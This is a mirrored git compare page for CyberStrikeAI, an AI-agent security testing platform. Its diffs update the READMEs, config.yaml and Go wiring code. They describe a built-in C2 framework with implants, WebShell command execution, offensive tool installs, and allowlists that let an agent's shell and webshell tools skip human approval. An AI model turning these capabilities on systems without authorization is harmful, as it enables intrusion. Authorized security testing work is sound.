mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-13 01:27:52 +02:00
Compare commits
82 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 1d3b4c44e1 | |||
| cbd64173b8 | |||
| af71c6aa24 | |||
| 97a73a1cb6 | |||
| 83e1c707ca | |||
| 96ccbff77c | |||
| c4bd8b93f6 | |||
| d005268d28 | |||
| 7f4e8d2ad2 | |||
| f3be355820 | |||
| bf0ce33e3f | |||
| 4661862a1a | |||
| f319a0f243 | |||
| 15c4802319 | |||
| 6ffde48b0c | |||
| c5e2f0d95d | |||
| 28a826d5b7 | |||
| 6365de7018 | |||
| 2e4bf7197b | |||
| ed4ba08163 | |||
| 8b5e55a673 | |||
| e8a75e5105 | |||
| 48976ed650 | |||
| dc9ecae7fd | |||
| a9d0a59f7a | |||
| 5ec4729b83 | |||
| 9857003018 | |||
| a6e7885fed | |||
| e69375451c | |||
| 07e7f104ad | |||
| ffce9185bb | |||
| 612f16455d | |||
| ecd5b40bc2 | |||
| 5aa7306c9b | |||
| 1027d9f6cf | |||
| e05b008903 | |||
| 9bcc7a27fe | |||
| fb3087b760 | |||
| cd48a43b7e | |||
| 07be48ae59 | |||
| 529f94a4f7 | |||
| d2fe023d7e | |||
| 09e858619e | |||
| 9c54291295 | |||
| b3f7b8494b | |||
| 849c644a86 | |||
| 9e0525abc1 | |||
| 6bacac2e6a | |||
| 244307b52c | |||
| faaac5fbd7 | |||
| 3392fefedf | |||
| abef51b805 | |||
| 8143d8f220 | |||
| 73337c5226 | |||
| c9c9ca1eec | |||
| 25f8b610fb | |||
| 6bfa7b8959 | |||
| 99a41d8188 | |||
| 6d04753761 | |||
| a08df7ab79 | |||
| 3123a07c48 | |||
| 7b3d35fabe | |||
| cb17d3a5c1 | |||
| c2892ccd33 | |||
| 60b0bb3252 | |||
| 3b9e5f3b1c | |||
| 1a9694b216 | |||
| a1c7e0dc7d | |||
| 23e08b1697 | |||
| 9002505569 | |||
| b1aaaa79c7 | |||
| 4edbeb8f2d | |||
| 5b5a532d4f | |||
| c1bd94684c | |||
| 8b48e5e396 | |||
| c2f8ebc743 | |||
| 15e1a15671 | |||
| 5c3b157159 | |||
| e5f6175277 | |||
| 1dc5d18fb3 | |||
| 00ea3d7a9c | |||
| 8d48ccdfe4 |
@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
|
||||
|
||||
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
||||
|
||||
|
||||
## Interface & Integration Preview
|
||||
|
||||
<div align="center">
|
||||
@@ -117,9 +116,9 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
|
||||
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
|
||||
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
|
||||
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
|
||||
- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
||||
- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
||||
- 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
|
||||
- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
|
||||
- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
|
||||
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
|
||||
- 🧑⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
|
||||
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
|
||||
@@ -190,14 +189,21 @@ The `run.sh` script will automatically:
|
||||
```
|
||||
- Or edit `config.yaml` directly before launching
|
||||
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
||||
3. **Install security tools (optional)** - Install tools as needed:
|
||||
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||
|
||||
**macOS (Homebrew):**
|
||||
```bash
|
||||
# macOS
|
||||
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
|
||||
# Ubuntu/Debian
|
||||
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
|
||||
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||
```
|
||||
AI automatically falls back to alternatives when a tool is missing.
|
||||
|
||||
**Linux (Kali / Debian / Ubuntu):**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
|
||||
```
|
||||
|
||||
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
|
||||
|
||||
**Alternative Launch Methods:**
|
||||
```bash
|
||||
@@ -260,7 +266,7 @@ Requirements / tips:
|
||||
- **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
|
||||
- **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
|
||||
- **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
|
||||
- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
|
||||
- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
|
||||
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
|
||||
- **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
|
||||
|
||||
@@ -288,6 +294,7 @@ Requirements / tips:
|
||||
- **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
|
||||
- **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
|
||||
- **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
|
||||
- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
|
||||
- **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
|
||||
|
||||
### Skills System (Agent Skills + Eino)
|
||||
@@ -295,7 +302,7 @@ Requirements / tips:
|
||||
- **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
|
||||
- **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
|
||||
- **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
|
||||
- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
|
||||
- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
|
||||
- **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
|
||||
|
||||
**Creating a skill:**
|
||||
@@ -543,7 +550,7 @@ multi_agent:
|
||||
orchestrator_instruction: "" # Deep; used when orchestrator.md body is empty
|
||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
|
||||
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
||||
# eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
|
||||
# eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
|
||||
```
|
||||
|
||||
### Tool Definition Example (`tools/nmap.yaml`)
|
||||
|
||||
+19
-12
@@ -28,7 +28,6 @@
|
||||
|
||||
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力,以及面向 **授权场景** 的 **内置轻量 C2(Command & Control,指挥与控制)** 能力(监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同)。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
||||
|
||||
|
||||
## 界面与集成预览
|
||||
|
||||
<div align="center">
|
||||
@@ -116,9 +115,9 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
|
||||
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
|
||||
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
|
||||
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
|
||||
- 🧩 **Agent 编排(CloudWeGo Eino)**:**单代理** `POST /api/eino-agent/stream`(Eino ADK);**多代理** `POST /api/multi-agent/stream`,`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
|
||||
- 🧩 **Agent 编排(CloudWeGo Eino)**:**单代理** `POST /api/eino-agent/stream`(Eino ADK);**多代理** `POST /api/multi-agent/stream`,`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史;压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`(保留完整 user/assistant/tool 轮次,省略静态 system)。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
|
||||
- 🖼️ **视觉分析(`analyze_image`)**:独立 Vision 模型(如 `qwen-vl-max`),MCP 工具分析本地截图/验证码/UI;图片仅在单次 VL 调用中出现,对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
|
||||
- 🎯 **Skills(面向 Eino 重构)**:技能包放在 **`skills_dir`**,遵循 **Agent Skills** 目录规范(`SKILL.md` + 可选文件);**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**(按 name 加载)。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖;**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
|
||||
- 🎯 **Skills(面向 Eino 重构)**:技能包放在 **`skills_dir`**,遵循 **Agent Skills** 目录规范(`SKILL.md` + 可选文件);**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**(按 name 加载)。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖;**`eino_middleware`** 可选 patch、tool_search、**plantask**(`TaskCreate` / `TaskList` 任务板,落在 `skills_dir/.eino/plantask/`)、reduction、文件型 **checkpoint**(`checkpoint_dir`)、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
|
||||
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md))
|
||||
- 🧑⚖️ **人机协同(HITL)**:对话页侧栏配置协同模式与免审批工具白名单;全局列表在 `config.yaml` 的 `hitl.tool_whitelist`;点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效;导航 **人机协同** 页处理待审批工具调用
|
||||
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
|
||||
@@ -189,14 +188,21 @@ chmod +x run.sh && ./run.sh
|
||||
```
|
||||
- 或启动前直接编辑 `config.yaml` 文件
|
||||
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
||||
3. **安装安全工具(可选)** - 按需安装所需工具:
|
||||
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||
|
||||
**macOS(Homebrew):**
|
||||
```bash
|
||||
# macOS
|
||||
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
|
||||
# Ubuntu/Debian
|
||||
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
|
||||
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||
```
|
||||
未安装的工具会自动跳过或改用替代方案。
|
||||
|
||||
**Linux(Kali / Debian / Ubuntu):**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
|
||||
```
|
||||
|
||||
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
|
||||
|
||||
**其他启动方式:**
|
||||
```bash
|
||||
@@ -258,7 +264,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
|
||||
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
|
||||
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
|
||||
- **Skills**:技能包位于 `skills_dir`;启用 **`multi_agent.eino_skills`** 后,**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。中间件与本机 read_file/glob/grep 等见文档。
|
||||
- **Skills**:技能包位于 `skills_dir`;启用 **`multi_agent.eino_skills`** 后,**单代理与多代理**均可通过 Eino **`skill`** 工具按需加载。可选 **`eino_middleware`**(tool_search、plantask、reduction、checkpoint、Summarization 转录等)与本机 read_file/glob/grep 等见文档。
|
||||
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。
|
||||
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
|
||||
|
||||
@@ -286,6 +292,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **子代理**(**deep** / **supervisor**):其余 `*.md`;标成 orchestrator 的不会进入 `task` 列表。
|
||||
- **界面管理**:**Agents → Agent 管理**;API `/api/multi-agent/markdown-agents`。
|
||||
- **配置项**:`multi_agent`:`enabled`、`robot_default_agent_mode`、`batch_use_multi_agent`、`max_iteration`、`plan_execute_loop_max_iterations`、各模式 orchestrator 指令字段、可选 YAML `sub_agents` 与目录合并(同 `id` → Markdown 优先)、**`eino_skills`**、**`eino_middleware`**。
|
||||
- **长任务与恢复**:`checkpoint_dir` 支持进程崩溃后 ADK **断点续跑**(与基于 trace 的「中断继续」不同)。`deep_model_retry_max_retries` 在同一次 LLM 调用内重试瞬时 API 失败。**Summarization** 触发压缩时会写入过滤后的 **transcript**,摘要消息中带路径,模型可用 `read_file` 找回扫描输出等压缩前细节。
|
||||
- **更多细节**:[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)(流式、机器人、批量、中间件差异)。
|
||||
|
||||
### Skills 技能系统(Agent Skills + Eino)
|
||||
@@ -293,7 +300,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **运行侧重构**:**`skills_dir`** 为技能包唯一根目录;**多代理** 通过 Eino 官方 **`skill`** 中间件做 **渐进式披露**(模型按 **name** 调用 `skill`,而非一次性注入全文)。由 **`multi_agent.eino_skills`** 控制:`disable`、`filesystem_tools`(本机读写与 Shell)、`skill_tool_name`。
|
||||
- **Eino / 知识流水线**:技能包可切分为 `schema.Document`,供 `FilesystemSkillsRetriever`(`skills.AsEinoRetriever()`)在 **compose** 图(如索引/编排)中使用。
|
||||
- **HTTP 管理**:`/api/skills` 列表与 `depth=summary|full`、`section`、`resource_path` 等仍用于 Web 与运维;**模型侧** 多代理走 **`skill`** 工具,而非 MCP。
|
||||
- **可选 `eino_middleware`**:如 `tool_search`(动态工具列表)、`patch_tool_calls`、`plantask`(结构化任务;默认落在 `skills_dir` 下子目录)、`reduction`、`checkpoint_dir`、Deep 输出键 / 模型重试 / task 描述前缀等,见 `config.yaml` 与 `internal/config/config.go`。
|
||||
- **可选 `eino_middleware`**:如 `tool_search`(动态工具列表)、`patch_tool_calls`、**`plantask`**(Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`;JSON 存于 `skills_dir/.eino/plantask/<会话ID>/`;**全部**任务标为 completed 后 Eino 会清理任务文件)、`reduction`、**`checkpoint_dir`**(如 `data/eino-checkpoints/`)、**`deep_model_retry_max_retries`**、**`deep_output_key`**、task 描述前缀等,见 `config.yaml` 与 `internal/config/config.go`。
|
||||
- **自带示例**:`skills/cyberstrike-eino-demo/`;说明见 `skills/README.md`。
|
||||
|
||||
**新建技能:**
|
||||
@@ -541,7 +548,7 @@ multi_agent:
|
||||
orchestrator_instruction: "" # Deep;orchestrator.md 正文为空时使用
|
||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor 可选
|
||||
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
||||
# eino_middleware: 可选 patch_tool_calls、tool_search、plantask、reduction、checkpoint_dir 等
|
||||
# eino_middleware: plantask_enable、checkpoint_dir、deep_model_retry_max_retries、deep_output_key 等
|
||||
```
|
||||
|
||||
### 工具模版示例(`tools/nmap.yaml`)
|
||||
|
||||
+9
-9
@@ -10,7 +10,7 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.6.31"
|
||||
version: "v1.6.36"
|
||||
# 服务器配置
|
||||
server:
|
||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||
@@ -129,8 +129,8 @@ multi_agent:
|
||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
plantask_enable: false # true:主代理(Deep / Supervisor 主)挂载 TaskCreate/Get/Update/List;需 eino_skills 可用且 skills_dir 存在,否则仅打日志并跳过
|
||||
plantask_rel_dir: .eino/plantask # 结构化任务文件相对 skills_dir 的子目录,其下再按会话 ID 分子目录存放
|
||||
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
|
||||
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
|
||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;依赖与 plantask 相同的 eino local 写盘后端,无后端时不挂载
|
||||
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
||||
reduction_max_tokens_for_clear: 160000 # 历史工具结果清理阈值(tokens),超阈值时在模型调用前清理旧结果
|
||||
@@ -143,11 +143,11 @@ multi_agent:
|
||||
plan_execute_executed_steps_budget_ratio: 0.2 # plan_execute 中 executed_steps 预算比例
|
||||
plan_execute_max_step_result_runes: 4000 # plan_execute 每步结果最大字符数(超出截断)
|
||||
plan_execute_keep_last_steps: 8 # plan_execute 仅保留最近 N 步正文,早期步骤折叠为标题
|
||||
checkpoint_dir: "" # 非空:为 adk.NewRunner 启用按会话子目录的文件型 CheckPointStore,便于中断恢复持久化;Resume 的 HTTP/前端流程需另行对接
|
||||
run_retry_max_attempts: 0 # >0:429/5xx/网络抖动时 ADK 运行循环指数退避续跑次数;0=默认 10
|
||||
checkpoint_dir: data/eino-checkpoints # P0:进程崩溃/OOM 后同会话自动 ADK Resume;正常结束会删 .ckpt;与「中断并继续」(last_react_*) 是两套机制
|
||||
run_retry_max_attempts: 0 # 429/5xx/网络抖动时整轮 Run 指数退避续跑;0=默认 10(与 deep_model_retry 互补,建议保持默认)
|
||||
run_retry_max_backoff_sec: 0 # 单次退避上限秒数;0=默认 30
|
||||
deep_output_key: "" # 非空:将最终助手输出写入 adk session 的键名(Deep 与 Supervisor 主代理);空表示不写入
|
||||
deep_model_retry_max_retries: 0 # >0:ChatModel 调用失败时的框架级最大重试次数(Deep 与 Supervisor 主);0:不重试
|
||||
deep_output_key: final_answer # P0:Eino session 写入最终助手结论(框架内部;Deep/Supervisor 主/eino_single)
|
||||
deep_model_retry_max_retries: 3 # P0:单次 ChatModel API 失败时框架自动重试(超时/502 等);子代理模型不受此项影响
|
||||
task_tool_description_prefix: "" # 非空:仅 Deep 的 task 工具使用自定义描述前缀,运行时会拼接子代理名称;空则走 Eino 默认生成逻辑
|
||||
# Eino callbacks + OpenTelemetry:框架级 span(与 Zap 对齐);默认不向终端用户 UI 推 eino_trace_*(见 sse_trace_to_client)
|
||||
eino_callbacks:
|
||||
@@ -310,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
|
||||
project:
|
||||
enabled: true
|
||||
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
||||
fact_index_max_runes: 3500
|
||||
fact_summary_max_runes: 240
|
||||
fact_index_max_runes: 6500
|
||||
fact_summary_max_runes: 2400
|
||||
default_inject_deprecated: false
|
||||
|
||||
|
||||
@@ -17,6 +17,7 @@ require (
|
||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
||||
github.com/creack/pty v1.1.24
|
||||
github.com/disintegration/imaging v1.6.2
|
||||
github.com/eino-contrib/jsonschema v1.0.3
|
||||
github.com/gin-gonic/gin v1.9.1
|
||||
github.com/google/uuid v1.6.0
|
||||
@@ -49,7 +50,6 @@ require (
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cloudwego/base64x v0.1.6 // indirect
|
||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
||||
github.com/disintegration/imaging v1.6.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.10.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/evanphx/json-patch v0.5.2 // indirect
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 178 KiB After Width: | Height: | Size: 262 KiB |
+9
-2
@@ -315,6 +315,14 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
||||
skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
|
||||
log.Logger.Info("Skills 目录(Eino ADK skill 中间件 + Web 管理 API)", zap.String("skillsDir", skillsDir))
|
||||
configDir := filepath.Dir(configPath)
|
||||
plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
|
||||
if plantaskRel == "" {
|
||||
plantaskRel = ".eino/plantask"
|
||||
}
|
||||
plantaskBase := filepath.Join(skillsDir, plantaskRel)
|
||||
// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
|
||||
checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
|
||||
db.SetEinoConversationDirs(plantaskBase, checkpointBase)
|
||||
agent.SetPromptBaseDir(configDir)
|
||||
|
||||
agentsDir := cfg.AgentsDir
|
||||
@@ -1075,6 +1083,7 @@ func setupRoutes(
|
||||
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
|
||||
|
||||
// 项目管理与事实黑板
|
||||
protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
|
||||
protected.GET("/projects", projectHandler.ListProjects)
|
||||
protected.POST("/projects", projectHandler.CreateProject)
|
||||
protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
|
||||
@@ -1083,8 +1092,6 @@ func setupRoutes(
|
||||
